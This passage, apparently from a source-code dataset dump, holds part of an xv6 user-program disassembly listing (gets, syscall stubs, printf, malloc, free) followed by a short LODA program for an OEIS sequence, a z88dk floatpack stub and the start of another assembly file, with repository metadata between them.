max) { int i, cc; char c; for(i=0; i+1 < max; ){ 376: 8d 5e 01 lea 0x1(%esi),%ebx 379: 3b 5d 0c cmp 0xc(%ebp),%ebx 37c: 7d 31 jge 3af <gets+0x4f> cc = read(0, &c, 1); 37e: 8d 45 e7 lea -0x19(%ebp),%eax 381: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 388: 00 389: 89 44 24 04 mov %eax,0x4(%esp) 38d: c7 04 24 00 00 00 00 movl $0x0,(%esp) 394: e8 47 00 00 00 call 3e0 <read> if(cc < 1) 399: 85 c0 test %eax,%eax 39b: 7e 12 jle 3af <gets+0x4f> break; buf[i++] = c; 39d: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 3a1: 88 44 1f ff mov %al,-0x1(%edi,%ebx,1) if(c == '\n' || c == '\r') 3a5: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 3a9: 3c 0d cmp $0xd,%al 3ab: 75 c3 jne 370 <gets+0x10> 3ad: 89 de mov %ebx,%esi break; } buf[i] = '\0'; 3af: c6 04 37 00 movb $0x0,(%edi,%esi,1) return buf; } 3b3: 89 f8 mov %edi,%eax 3b5: 83 c4 2c add $0x2c,%esp 3b8: 5b pop %ebx 3b9: 5e pop %esi 3ba: 5f pop %edi 3bb: 5d pop %ebp 3bc: c3 ret 3bd: 90 nop 3be: 90 nop 3bf: 90 nop 000003c0 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 3c0: b8 01 00 00 00 mov $0x1,%eax 3c5: cd 40 int $0x40 3c7: c3 ret 000003c8 <exit>: SYSCALL(exit) 3c8: b8 02 00 00 00 mov $0x2,%eax 3cd: cd 40 int $0x40 3cf: c3 ret 000003d0 <wait>: SYSCALL(wait) 3d0: b8 03 00 00 00 mov $0x3,%eax 3d5: cd 40 int $0x40 3d7: c3 ret 000003d8 <pipe>: SYSCALL(pipe) 3d8: b8 04 00 00 00 mov $0x4,%eax 3dd: cd 40 int $0x40 3df: c3 ret 000003e0 <read>: SYSCALL(read) 3e0: b8 05 00 00 00 mov $0x5,%eax 3e5: cd 40 int $0x40 3e7: c3 ret 000003e8 <write>: SYSCALL(write) 3e8: b8 10 00 00 00 mov $0x10,%eax 3ed: cd 40 int $0x40 3ef: c3 ret 000003f0 <close>: SYSCALL(close) 3f0: b8 15 00 00 00 mov $0x15,%eax 3f5: cd 40 int $0x40 3f7: c3 ret 000003f8 <kill>: SYSCALL(kill) 3f8: b8 06 00 00 00 mov $0x6,%eax 3fd: cd 40 int $0x40 3ff: c3 ret 00000400 <exec>: SYSCALL(exec) 400: b8 07 00 00 00 mov $0x7,%eax 405: cd 40 int $0x40 407: c3 ret 00000408 <open>: SYSCALL(open) 408: b8 0f 00 00 00 mov $0xf,%eax 40d: cd 40 int $0x40 40f: c3 ret 00000410 <mknod>: SYSCALL(mknod) 410: b8 11 00 00 00 mov $0x11,%eax 415: cd 40 int $0x40 417: c3 ret 00000418 <unlink>: SYSCALL(unlink) 418: b8 12 00 00 00 mov $0x12,%eax 41d: cd 40 int $0x40 41f: c3 ret 00000420 <fstat>: SYSCALL(fstat) 420: b8 08 00 00 00 mov $0x8,%eax 425: cd 40 int $0x40 427: c3 ret 00000428 <link>: SYSCALL(link) 428: b8 13 00 00 00 mov $0x13,%eax 42d: cd 40 int $0x40 42f: c3 ret 00000430 <mkdir>: SYSCALL(mkdir) 430: b8 14 00 00 00 mov $0x14,%eax 435: cd 40 int $0x40 437: c3 ret 00000438 <chdir>: SYSCALL(chdir) 438: b8 09 00 00 00 mov $0x9,%eax 43d: cd 40 int $0x40 43f: c3 ret 00000440 <dup>: SYSCALL(dup) 440: b8 0a 00 00 00 mov $0xa,%eax 445: cd 40 int $0x40 447: c3 ret 00000448 <getpid>: SYSCALL(getpid) 448: b8 0b 00 00 00 mov $0xb,%eax 44d: cd 40 int $0x40 44f: c3 ret 00000450 <sbrk>: SYSCALL(sbrk) 450: b8 0c 00 00 00 mov $0xc,%eax 455: cd 40 int $0x40 457: c3 ret 00000458 <sleep>: SYSCALL(sleep) 458: b8 0d 00 00 00 mov $0xd,%eax 45d: cd 40 int $0x40 45f: c3 ret 00000460 <set_tickets>: SYSCALL(set_tickets) 460: b8 16 00 00 00 mov $0x16,%eax 465: cd 40 int $0x40 467: c3 ret 468: 90 nop 469: 90 nop 46a: 90 nop 46b: 90 nop 46c: 90 nop 46d: 90 nop 46e: 90 nop 46f: 90 nop 00000470 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 470: 55 push %ebp 471: 89 e5 mov %esp,%ebp 473: 57 push %edi 474: 89 cf mov %ecx,%edi 476: 56 push %esi 477: 89 c6 mov %eax,%esi 479: 53 push %ebx 47a: 83 ec 4c sub $0x4c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 47d: 8b 4d 08 mov 0x8(%ebp),%ecx 480: 85 c9 test %ecx,%ecx 482: 74 04 je 488 <printint+0x18> 484: 85 d2 test %edx,%edx 486: 78 68 js 4f0 <printint+0x80> neg = 1; x = -xx; } else { x = xx; 488: 89 d0 mov %edx,%eax 48a: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 491: 31 c9 xor %ecx,%ecx 493: 8d 5d d7 lea -0x29(%ebp),%ebx 496: 66 90 xchg %ax,%ax } i = 0; do{ buf[i++] = digits[x % base]; 498: 31 d2 xor %edx,%edx 49a: f7 f7 div %edi 49c: 0f b6 92 a4 08 00 00 movzbl 0x8a4(%edx),%edx 4a3: 88 14 0b mov %dl,(%ebx,%ecx,1) 4a6: 83 c1 01 add $0x1,%ecx }while((x /= base) != 0); 4a9: 85 c0 test %eax,%eax 4ab: 75 eb jne 498 <printint+0x28> if(neg) 4ad: 8b 45 c4 mov -0x3c(%ebp),%eax 4b0: 85 c0 test %eax,%eax 4b2: 74 08 je 4bc <printint+0x4c> buf[i++] = '-'; 4b4: c6 44 0d d7 2d movb $0x2d,-0x29(%ebp,%ecx,1) 4b9: 83 c1 01 add $0x1,%ecx while(--i >= 0) 4bc: 8d 79 ff lea -0x1(%ecx),%edi 4bf: 90 nop 4c0: 0f b6 04 3b movzbl (%ebx,%edi,1),%eax 4c4: 83 ef 01 sub $0x1,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4c7: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 4ce: 00 4cf: 89 34 24 mov %esi,(%esp) buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 4d2: 88 45 e7 mov %al,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4d5: 8d 45 e7 lea -0x19(%ebp),%eax 4d8: 89 44 24 04 mov %eax,0x4(%esp) 4dc: e8 07 ff ff ff call 3e8 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 4e1: 83 ff ff cmp $0xffffffff,%edi 4e4: 75 da jne 4c0 <printint+0x50> putc(fd, buf[i]); } 4e6: 83 c4 4c add $0x4c,%esp 4e9: 5b pop %ebx 4ea: 5e pop %esi 4eb: 5f pop %edi 4ec: 5d pop %ebp 4ed: c3 ret 4ee: 66 90 xchg %ax,%ax uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 4f0: 89 d0 mov %edx,%eax 4f2: f7 d8 neg %eax 4f4: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) 4fb: eb 94 jmp 491 <printint+0x21> 4fd: 8d 76 00 lea 0x0(%esi),%esi 00000500 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 500: 55 push %ebp 501: 89 e5 mov %esp,%ebp 503: 57 push %edi 504: 56 push %esi 505: 53 push %ebx 506: 83 ec 3c sub $0x3c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 509: 8b 45 0c mov 0xc(%ebp),%eax 50c: 0f b6 10 movzbl (%eax),%edx 50f: 84 d2 test %dl,%dl 511: 0f 84 c1 00 00 00 je 5d8 <printf+0xd8> char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 517: 8d 4d 10 lea 0x10(%ebp),%ecx 51a: 31 ff xor %edi,%edi 51c: 89 4d d4 mov %ecx,-0x2c(%ebp) 51f: 31 db xor %ebx,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 521: 8d 75 e7 lea -0x19(%ebp),%esi 524: eb 1e jmp 544 <printf+0x44> 526: 66 90 xchg %ax,%ax state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 528: 83 fa 25 cmp $0x25,%edx 52b: 0f 85 af 00 00 00 jne 5e0 <printf+0xe0> 531: 66 bf 25 00 mov $0x25,%di int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 535: 83 c3 01 add $0x1,%ebx 538: 0f b6 14 18 movzbl (%eax,%ebx,1),%edx 53c: 84 d2 test %dl,%dl 53e: 0f 84 94 00 00 00 je 5d8 <printf+0xd8> c = fmt[i] & 0xff; if(state == 0){ 544: 85 ff test %edi,%edi uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 546: 0f b6 d2 movzbl %dl,%edx if(state == 0){ 549: 74 dd je 528 <printf+0x28> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 54b: 83 ff 25 cmp $0x25,%edi 54e: 75 e5 jne 535 <printf+0x35> if(c == 'd'){ 550: 83 fa 64 cmp $0x64,%edx 553: 0f 84 3f 01 00 00 je 698 <printf+0x198> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 559: 83 fa 70 cmp $0x70,%edx 55c: 0f 84 a6 00 00 00 je 608 <printf+0x108> 562: 83 fa 78 cmp $0x78,%edx 565: 0f 84 9d 00 00 00 je 608 <printf+0x108> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 56b: 83 fa 73 cmp $0x73,%edx 56e: 66 90 xchg %ax,%ax 570: 0f 84 ba 00 00 00 je 630 <printf+0x130> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 576: 83 fa 63 cmp $0x63,%edx 579: 0f 84 41 01 00 00 je 6c0 <printf+0x1c0> putc(fd, *ap); ap++; } else if(c == '%'){ 57f: 83 fa 25 cmp $0x25,%edx 582: 0f 84 00 01 00 00 je 688 <printf+0x188> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 588: 8b 4d 08 mov 0x8(%ebp),%ecx 58b: 89 55 cc mov %edx,-0x34(%ebp) 58e: c6 45 e7 25 movb $0x25,-0x19(%ebp) 592: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 599: 00 59a: 89 74 24 04 mov %esi,0x4(%esp) 59e: 89 0c 24 mov %ecx,(%esp) 5a1: e8 42 fe ff ff call 3e8 <write> 5a6: 8b 55 cc mov -0x34(%ebp),%edx 5a9: 88 55 e7 mov %dl,-0x19(%ebp) 5ac: 8b 45 08 mov 0x8(%ebp),%eax int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 5af: 83 c3 01 add $0x1,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5b2: 31 ff xor %edi,%edi 5b4: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 5bb: 00 5bc: 89 74 24 04 mov %esi,0x4(%esp) 5c0: 89 04 24 mov %eax,(%esp) 5c3: e8 20 fe ff ff call 3e8 <write> 5c8: 8b 45 0c mov 0xc(%ebp),%eax int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 5cb: 0f b6 14 18 movzbl (%eax,%ebx,1),%edx 5cf: 84 d2 test %dl,%dl 5d1: 0f 85 6d ff ff ff jne 544 <printf+0x44> 5d7: 90 nop putc(fd, c); } state = 0; } } } 5d8: 83 c4 3c add $0x3c,%esp 5db: 5b pop %ebx 5dc: 5e pop %esi 5dd: 5f pop %edi 5de: 5d pop %ebp 5df: c3 ret #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5e0: 8b 45 08 mov 0x8(%ebp),%eax state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 5e3: 88 55 e7 mov %dl,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5e6: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 5ed: 00 5ee: 89 74 24 04 mov %esi,0x4(%esp) 5f2: 89 04 24 mov %eax,(%esp) 5f5: e8 ee fd ff ff call 3e8 <write> 5fa: 8b 45 0c mov 0xc(%ebp),%eax 5fd: e9 33 ff ff ff jmp 535 <printf+0x35> 602: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 608: 8b 45 d4 mov -0x2c(%ebp),%eax 60b: b9 10 00 00 00 mov $0x10,%ecx ap++; 610: 31 ff xor %edi,%edi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 612: c7 04 24 00 00 00 00 movl $0x0,(%esp) 619: 8b 10 mov (%eax),%edx 61b: 8b 45 08 mov 0x8(%ebp),%eax 61e: e8 4d fe ff ff call 470 <printint> 623: 8b 45 0c mov 0xc(%ebp),%eax ap++; 626: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 62a: e9 06 ff ff ff jmp 535 <printf+0x35> 62f: 90 nop } else if(c == 's'){ s = (char*)*ap; 630: 8b 55 d4 mov -0x2c(%ebp),%edx ap++; if(s == 0) 633: b9 9d 08 00 00 mov $0x89d,%ecx ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ s = (char*)*ap; 638: 8b 3a mov (%edx),%edi ap++; 63a: 83 c2 04 add $0x4,%edx 63d: 89 55 d4 mov %edx,-0x2c(%ebp) if(s == 0) 640: 85 ff test %edi,%edi 642: 0f 44 f9 cmove %ecx,%edi s = "(null)"; while(*s != 0){ 645: 0f b6 17 movzbl (%edi),%edx 648: 84 d2 test %dl,%dl 64a: 74 33 je 67f <printf+0x17f> 64c: 89 5d d0 mov %ebx,-0x30(%ebp) 64f: 8b 5d 08 mov 0x8(%ebp),%ebx 652: 8d b6 00 00 00 00 lea 0x0(%esi),%esi putc(fd, *s); s++; 658: 83 c7 01 add $0x1,%edi } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 65b: 88 55 e7 mov %dl,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 65e: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 665: 00 666: 89 74 24 04 mov %esi,0x4(%esp) 66a: 89 1c 24 mov %ebx,(%esp) 66d: e8 76 fd ff ff call 3e8 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 672: 0f b6 17 movzbl (%edi),%edx 675: 84 d2 test %dl,%dl 677: 75 df jne 658 <printf+0x158> 679: 8b 5d d0 mov -0x30(%ebp),%ebx 67c: 8b 45 0c mov 0xc(%ebp),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 67f: 31 ff xor %edi,%edi 681: e9 af fe ff ff jmp 535 <printf+0x35> 686: 66 90 xchg %ax,%ax s++; } } else if(c == 'c'){ putc(fd, *ap); ap++; } else if(c == '%'){ 688: c6 45 e7 25 movb $0x25,-0x19(%ebp) 68c: e9 1b ff ff ff jmp 5ac <printf+0xac> 691: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 698: 8b 45 d4 mov -0x2c(%ebp),%eax 69b: b9 0a 00 00 00 mov $0xa,%ecx ap++; 6a0: 66 31 ff xor %di,%di } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 6a3: c7 04 24 01 00 00 00 movl $0x1,(%esp) 6aa: 8b 10 mov (%eax),%edx 6ac: 8b 45 08 mov 0x8(%ebp),%eax 6af: e8 bc fd ff ff call 470 <printint> 6b4: 8b 45 0c mov 0xc(%ebp),%eax ap++; 6b7: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 6bb: e9 75 fe ff ff jmp 535 <printf+0x35> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 6c0: 8b 55 d4 mov -0x2c(%ebp),%edx putc(fd, *ap); ap++; 6c3: 31 ff xor %edi,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 6c5: 8b 4d 08 mov 0x8(%ebp),%ecx s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 6c8: 8b 02 mov (%edx),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 6ca: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 6d1: 00 6d2: 89 74 24 04 mov %esi,0x4(%esp) 6d6: 89 0c 24 mov %ecx,(%esp) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 6d9: 88 45 e7 mov %al,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 6dc: e8 07 fd ff ff call 3e8 <write> 6e1: 8b 45 0c mov 0xc(%ebp),%eax putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); ap++; 6e4: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 6e8: e9 48 fe ff ff jmp 535 <printf+0x35> 6ed: 90 nop 6ee: 90 nop 6ef: 90 nop 000006f0 <free>: static Header base; static Header *freep; void free(void *ap) { 6f0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6f1: a1 c8 08 00 00 mov 0x8c8,%eax static Header base; static Header *freep; void free(void *ap) { 6f6: 89 e5 mov %esp,%ebp 6f8: 57 push %edi 6f9: 56 push %esi 6fa: 53 push %ebx 6fb: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; 6fe: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 701: 39 c8 cmp %ecx,%eax 703: 73 1d jae 722 <free+0x32> 705: 8d 76 00 lea 0x0(%esi),%esi 708: 8b 10 mov (%eax),%edx 70a: 39 d1 cmp %edx,%ecx 70c: 72 1a jb 728 <free+0x38> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 70e: 39 d0 cmp %edx,%eax 710: 72 08 jb 71a <free+0x2a> 712: 39 c8 cmp %ecx,%eax 714: 72 12 jb 728 <free+0x38> 716: 39 d1 cmp %edx,%ecx 718: 72 0e jb 728 <free+0x38> 71a: 89 d0 mov %edx,%eax free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 71c: 39 c8 cmp %ecx,%eax 71e: 66 90 xchg %ax,%ax 720: 72 e6 jb 708 <free+0x18> 722: 8b 10 mov (%eax),%edx 724: eb e8 jmp 70e <free+0x1e> 726: 66 90 xchg %ax,%ax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 728: 8b 71 04 mov 0x4(%ecx),%esi 72b: 8d 3c f1 lea (%ecx,%esi,8),%edi 72e: 39 d7 cmp %edx,%edi 730: 74 19 je 74b <free+0x5b> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 732: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 735: 8b 50 04 mov 0x4(%eax),%edx 738: 8d 34 d0 lea (%eax,%edx,8),%esi 73b: 39 ce cmp %ecx,%esi 73d: 74 23 je 762 <free+0x72> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 73f: 89 08 mov %ecx,(%eax) freep = p; 741: a3 c8 08 00 00 mov %eax,0x8c8 } 746: 5b pop %ebx 747: 5e pop %esi 748: 5f pop %edi 749: 5d pop %ebp 74a: c3 ret bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 74b: 03 72 04 add 0x4(%edx),%esi 74e: 89 71 04 mov %esi,0x4(%ecx) bp->s.ptr = p->s.ptr->s.ptr; 751: 8b 10 mov (%eax),%edx 753: 8b 12 mov (%edx),%edx 755: 89 53 f8 mov %edx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 758: 8b 50 04 mov 0x4(%eax),%edx 75b: 8d 34 d0 lea (%eax,%edx,8),%esi 75e: 39 ce cmp %ecx,%esi 760: 75 dd jne 73f <free+0x4f> p->s.size += bp->s.size; 762: 03 51 04 add 0x4(%ecx),%edx 765: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 768: 8b 53 f8 mov -0x8(%ebx),%edx 76b: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; 76d: a3 c8 08 00 00 mov %eax,0x8c8 } 772: 5b pop %ebx 773: 5e pop %esi 774: 5f pop %edi 775: 5d pop %ebp 776: c3 ret 777: 89 f6 mov %esi,%esi 779: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000780 <malloc>: return freep; } void* malloc(uint nbytes) { 780: 55 push %ebp 781: 89 e5 mov %esp,%ebp 783: 57 push %edi 784: 56 push %esi 785: 53 push %ebx 786: 83 ec 2c sub $0x2c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 789: 8b 5d 08 mov 0x8(%ebp),%ebx if((prevp = freep) == 0){ 78c: 8b 0d c8 08 00 00 mov 0x8c8,%ecx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 792: 83 c3 07 add $0x7,%ebx 795: c1 eb 03 shr $0x3,%ebx 798: 83 c3 01 add $0x1,%ebx if((prevp = freep) == 0){ 79b: 85 c9 test %ecx,%ecx 79d: 0f 84 9b 00 00 00 je 83e <malloc+0xbe> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7a3: 8b 01 mov (%ecx),%eax if(p->s.size >= nunits){ 7a5: 8b 50 04 mov 0x4(%eax),%edx 7a8: 39 d3 cmp %edx,%ebx 7aa: 76 27 jbe 7d3 <malloc+0x53> p->s.size -= nunits; p += p->s.size; p->s.size = nunits; } freep = prevp; return (void*)(p + 1); 7ac: 8d 3c dd 00 00 00 00 lea 0x0(,%ebx,8),%edi morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 7b3: be 00 80 00 00 mov $0x8000,%esi 7b8: 89 7d e4 mov %edi,-0x1c(%ebp) 7bb: 90 nop 7bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 7c0: 3b 05 c8 08 00 00 cmp 0x8c8,%eax 7c6: 74 30 je 7f8 <malloc+0x78> 7c8: 89 c1 mov %eax,%ecx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7ca: 8b 01 mov (%ecx),%eax if(p->s.size >= nunits){ 7cc: 8b 50 04 mov 0x4(%eax),%edx 7cf: 39 d3 cmp %edx,%ebx 7d1: 77 ed ja 7c0 <malloc+0x40> if(p->s.size == nunits) 7d3: 39 d3 cmp %edx,%ebx 7d5: 74 61 je 838 <malloc+0xb8> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 7d7: 29 da sub %ebx,%edx 7d9: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 7dc: 8d 04 d0 lea (%eax,%edx,8),%eax p->s.size = nunits; 7df: 89 58 04 mov %ebx,0x4(%eax) } freep = prevp; 7e2: 89 0d c8 08 00 00 mov %ecx,0x8c8 return (void*)(p + 1); 7e8: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 7eb: 83 c4 2c add $0x2c,%esp 7ee: 5b pop %ebx 7ef: 5e pop %esi 7f0: 5f pop %edi 7f1: 5d pop %ebp 7f2: c3 ret 7f3: 90 nop 7f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 7f8: 8b 45 e4 mov -0x1c(%ebp),%eax 7fb: 81 fb 00 10 00 00 cmp $0x1000,%ebx 801: bf 00 10 00 00 mov $0x1000,%edi 806: 0f 43 fb cmovae %ebx,%edi 809: 0f 42 c6 cmovb %esi,%eax nu = 4096; p = sbrk(nu * sizeof(Header)); 80c: 89 04 24 mov %eax,(%esp) 80f: e8 3c fc ff ff call 450 <sbrk> if(p == (char*)-1) 814: 83 f8 ff cmp $0xffffffff,%eax 817: 74 18 je 831 <malloc+0xb1> return 0; hp = (Header*)p; hp->s.size = nu; 819: 89 78 04 mov %edi,0x4(%eax) free((void*)(hp + 1)); 81c: 83 c0 08 add $0x8,%eax 81f: 89 04 24 mov %eax,(%esp) 822: e8 c9 fe ff ff call 6f0 <free> return freep; 827: 8b 0d c8 08 00 00 mov 0x8c8,%ecx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 82d: 85 c9 test %ecx,%ecx 82f: 75 99 jne 7ca <malloc+0x4a> if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 831: 31 c0 xor %eax,%eax 833: eb b6 jmp 7eb <malloc+0x6b> 835: 8d 76 00 lea 0x0(%esi),%esi if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 838: 8b 10 mov (%eax),%edx 83a: 89 11 mov %edx,(%ecx) 83c: eb a4 jmp 7e2 <malloc+0x62> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 83e: c7 05 c8 08 00 00 c0 movl $0x8c0,0x8c8 845: 08 00 00 base.s.size = 0; 848: b9 c0 08 00 00 mov $0x8c0,%ecx Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 84d: c7 05 c0 08 00 00 c0 movl $0x8c0,0x8c0 854: 08 00 00 base.s.size = 0; 857: c7 05 c4 08 00 00 00 movl $0x0,0x8c4 85e: 00 00 00 861: e9 3d ff ff ff jmp 7a3 <malloc+0x23>
29.188701
60
0.413433
0e4e279388b318d99d2a669c5d35d85d5e3861fc
408
asm
Assembly
oeis/127/A127275.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/127/A127275.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/127/A127275.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A127275: Expansion of (sqrt(1-4x)-x)/(1-4x). ; Submitted by Jamie Morken(s2) ; 1,1,2,4,6,-4,-100,-664,-3514,-16916,-77388,-343144,-1490148,-6376616,-26992264,-113317936,-472661434,-1961361076,-8104733884,-33374212936,-137031378124,-561253753336,-2293947547384,-9358755316816,-38121140494564,-155064370272904 mov $1,$0 mov $2,$0 add $2,$0 mov $0,2 pow $0,$1 div $0,2 pow $0,2 bin $2,$1 sub $2,$0 mov $0,$2
27.2
230
0.698529
65e53afe47cad9061d679dc88d12687e8285acf5
191
asm
Assembly
libsrc/math/z88math/init_floatpack.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/math/z88math/init_floatpack.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/math/z88math/init_floatpack.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
1
2019-12-03T23:57:48.000Z
2019-12-03T23:57:48.000Z
; ; $Id: init_floatpack.asm,v 1.1 2016/07/01 22:35:52 dom Exp $ ; ; Dummy initialisation for machine tailored libraries SECTION code_fp PUBLIC init_floatpack .init_floatpack ret
17.363636
61
0.727749
c8ec19d614f6d68ba17fa3faf14e0c81d36a0941
18
asm
Assembly
inout.asm
hackingotter/LC3-Simulator
